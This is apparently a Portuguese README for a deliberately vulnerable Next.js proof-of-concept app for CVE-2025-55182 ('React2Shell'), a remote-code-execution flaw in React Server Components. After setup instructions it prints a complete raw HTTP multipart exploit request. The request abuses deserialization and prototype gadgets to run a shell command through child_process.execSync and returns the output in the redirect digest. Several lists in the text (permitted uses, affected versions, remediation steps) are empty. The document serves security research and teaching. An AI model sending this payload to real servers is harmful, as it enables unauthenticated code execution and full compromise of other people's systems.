
Aplicação de prova de conceito demonstrando a vulnerabilidade RCE CVE-2025-55182 (React2Shell) em React Server Components. Apenas para pesquisa de segurança e testes educacionais em ambientes isolados.
Esta é uma aplicação Next.js de prova de conceito vulnerável ao CVE-2025-55182 (também conhecido como "React2Shell"), uma vulnerabilidade crítica de Execução Remota de Código (RCE) em Componentes de Servidor React.
Esta aplicação é intencionalmente vulnerável e deve ser usada APENAS para:
NÃO:
CVE-2025-55182 afeta:
A vulnerabilidade decorre de desserialização insegura no tratamento de payloads de Componentes de Servidor React, permitindo que atacantes não autenticados executem código arbitrário no servidor por meio de requisições HTTP especialmente criadas.
Instalar dependências:
npm install
Executar o servidor de desenvolvimento:
npm run dev
Acessar a aplicação: Abra http://localhost:3000 no seu navegador.
Construir a imagem Docker:
docker build -t nextjs-cve-2025-55182 .
Executar o container:
docker run --rm -p 3000:3000 nextjs-cve-2025-55182
Acessar a aplicação: Abra http://localhost:3000 no seu navegador.
/): Um formulário de login simples usando Componentes de Servidor React/dashboard): Uma página protegida acessível após o loginEsta aplicação usa:
A vulnerabilidade existe no mecanismo de desserialização de payloads RSC, que pode ser explorada enviando requisições HTTP multipart maliciosas diretamente para as rotas das páginas (por exemplo, http://localhost:3000 ou http://localhost:3000/dashboard). A exploração funciona em qualquer página que use Componentes de Servidor React.
A vulnerabilidade pode ser explorada enviando requisições HTTP especialmente criadas diretamente para as rotas das páginas (por exemplo, http://localhost:3000 ou http://localhost:3000/dashboard). A exploração funciona em qualquer página que use Componentes de Servidor React.
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
A exploração ataca diretamente as rotas das páginas — funciona em localhost:3000 (página inicial) ou localhost:3000/dashboard (página do dashboard).
Para corrigir esta vulnerabilidade:
Esta prova de conceito é fornecida apenas para fins educacionais e de pesquisa em segurança.